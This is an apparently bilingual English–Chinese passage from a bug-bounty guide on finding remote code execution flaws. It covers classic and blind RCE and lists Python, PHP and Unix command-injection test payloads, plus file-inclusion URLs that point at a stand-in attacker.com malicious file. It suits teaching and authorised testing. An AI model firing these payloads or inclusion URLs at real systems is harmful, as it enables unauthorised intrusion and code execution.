Question

Like many of the attacks we’ve covered thus far, RCEs have two types: classic and blind. Classic RCEs are the ones in which you can read the results of the code execution in a subsequent HTTP response, whereas blind RCEs occur when the malicious code is executed but the returned values of the execution do not appear in any HTTP response. Although attackers cannot witness the results of their executions, blind RCEs are just as dangerous as classic RCEs because they can enable attackers to spawn reverse shells or exfiltrate data to a remote server. Hunting for these two types of RCE is a similar process, but the commands or code snippets you’ll need to use to verify these vulnerabilities will differ.

正如我们之前所介绍的攻击一样，RCEs 也有两种类型: 经典和盲目的。经典 RCEs 是指在随后的 HTTP 响应中可以读取代码执行的结果，而盲目 RCEs 是指虽然执行了恶意代码，但是执行的返回值不会出现在任何 HTTP 响应结果中。尽管攻击者无法看到执行结果，但盲目 RCEs 与经典 RCEs 一样危险，因为它们可以使攻击者生成反向 shell 或向远程服务器外泄数据。寻找这两种类型的 RCEs 的过程是相似的，但用于验证这些漏洞的命令或代码段将有所不同。

Here are some commands you can use when attacking Linux servers. When hunting for a classic RCE vulnerability, all you need to do to verify the vulnerability is to execute a command such as whoami , which outputs the username of the current user. If the response contains the web server’s username, such as www-data , you’ve confirmed the RCE, as the command has successfully run. On the other hand, to validate a blind RCE, you’ll need to execute a command that influences system behavior, like sleep 5 , which delays the response by five seconds. Then if you experience a five-second delay before receiving a response, you can confirm the vulnerability. Similar to the blind techniques we used to exploit other vulnerabilities, you can also set up a listener and attempt to trigger out-of-band interaction from the target server.

这里是攻击 Linux 服务器时可用的一些命令。在寻找传统的 RCE 漏洞时，您只需要执行一个命令，如 whoami，它会输出当前用户的用户名来验证漏洞。如果响应中包含 Web 服务器的用户名，例如 www-data，则已确认 RCE，因为命令已成功运行。另一方面，要验证盲目 RCE，您需要执行影响系统行为的命令，如 sleep 5，它会将响应延迟五秒钟。然后，如果您在接收到响应之前经历了五秒钟的延迟，您可以确认漏洞。与我们用来利用其他漏洞的盲目技术类似，您还可以设置侦听器并尝试触发来自目标服务器的带外交互。

Step 1: Gather Information About the Target

The first step to finding any vulnerability is to gather information about the target. When hunting for RCEs, this step is especially important because the route to achieving an RCE is extremely dependent on the way the target is built. You should find out information about the web server, programming language, and other technologies used by your current target. Use the recon steps outlined in Chapter 5 to do this.

寻找漏洞的第一步是收集有关目标的信息。寻找 RCE 时，这一步尤其重要，因为实现 RCE 的路径极大程度上取决于目标的构建方式。您应该了解有关当前目标使用的 Web 服务器、编程语言和其他技术的信息。请使用第 5 章中概述的侦察步骤来完成。

Step 2: Identify Suspicious User Input Locations

As with finding many other vulnerabilities, the next step to finding any RCE is to identify the locations where users can submit input to the application. When hunting for code injections, take note of every direct user-input location, including URL parameters, HTTP headers, body parameters, and file uploads. Sometimes applications parse user-supplied files and concatenate their contents unsafely into executed code, so any input that is eventually passed into commands is something you should look out for.

与发现其他漏洞一样，找到 RCE 的下一步是确定用户可以向应用程序提交输入的位置。在寻找代码注入时，要注意每个直接的用户输入位置，包括 URL 参数，HTTP 头，正文参数和文件上传。有时，应用程序会解析用户提供的文件并不安全地将其内容连接到执行的代码中，因此您应该注意任何最终传递到命令中的输入。

To find potential file inclusion vulnerabilities, check for input locations being used to determine filenames or paths, as well as any file-upload functionalities in the application.

检查输入位置是否用于确定文件名或路径，以及应用程序中的任何文件上传功能，以查找潜在的文件包含漏洞。

Step 3: Submit Test Payloads

The next thing you should do is to submit test payloads to the application. For code injection vulnerabilities, try payloads that are meant to be interpreted by the server as code and see if they get executed. For example, here’s a list of payloads you could use:

接下来你需要做的事情是向应用程序提交测试负载。对于代码注入漏洞，试试那些被服务器解释为代码的负载，并看它们是否被执行。例如，以下是你可以使用的负载列表：

Python payloads

Python 负载

This command is designed to print the string RCE test! if Python execution succeeds:

如果 Python 执行成功，则此命令旨在打印字符串'RCE 测试！'：

print("RCE test!")

This command prints the result of the system command ls :

这个命令将打印出系统命令 `ls` 的结果：

"__import__('os').system('ls')"

This command delays the response for 10 seconds:

这个命令会将响应延迟 10 秒钟：

"__import__('os').system('sleep 10')"

PHP payloads

PHP 载荷

This command is designed to print the local PHP configuration information if execution succeeds:

如果执行成功，该命令旨在打印本地 PHP 配置信息。

phpinfo();

This command prints the result of the system command ls :

该命令打印系统命令“ls”的结果： 这个命令打印出“ls”命令的结果。

<?php system("ls");?>

This command delays the response for 10 seconds:

这个命令会延迟回应 10 秒钟：

<?php system("sleep 10");?>

Unix payloads

Unix 载荷

This command prints the result of the system command ls :

该命令会打印系统命令“ls”的结果：

;ls;

These commands delay the response for 10 seconds:

这些命令会延迟 10 秒钟的响应：

| sleep 10;
& sleep 10;
` sleep 10;`
$(sleep 10)

For file inclusion vulnerabilities, you should try to make the endpoint include either a remote file or a local file that you can control. For example, for remote file inclusion, you could try several forms of a URL that points to your malicious file hosted offsite:

对于文件包含漏洞，您应该尝试使终端点包含一个远程文件或本地文件，您可以控制。例如，对于远程文件包含，您可以尝试多种形式的 URL，指向您位于外部托管的恶意文件。

http://example.com/?page=http://attacker.com/malicious.php
http://example.com/?page=http:attacker.com/malicious.php

And for local file inclusion vulnerabilities, try different URLs pointing to local files that you control:

尝试不同的指向您控制的本地文件的 URL，以处理本地文件包含漏洞问题：

http://example.com/?page=../uploads/malicious.php
http://example.com/?page=..%2fuploads%2fmalicious.php

You can use the protection-bypass techniques you learned in Chapter 13 to construct different forms of the same URL.

你可以使用第 13 章中学到的保护绕过技巧来构建同一 URL 的不同形式。

Step 4: Confirm the Vulnerability

Finally, confirm the vulnerability by executing harmless commands like whoami , ls , and sleep 5 .

最后，通过执行无害命令（例如 whoami、ls 和 sleep 5）来确认漏洞。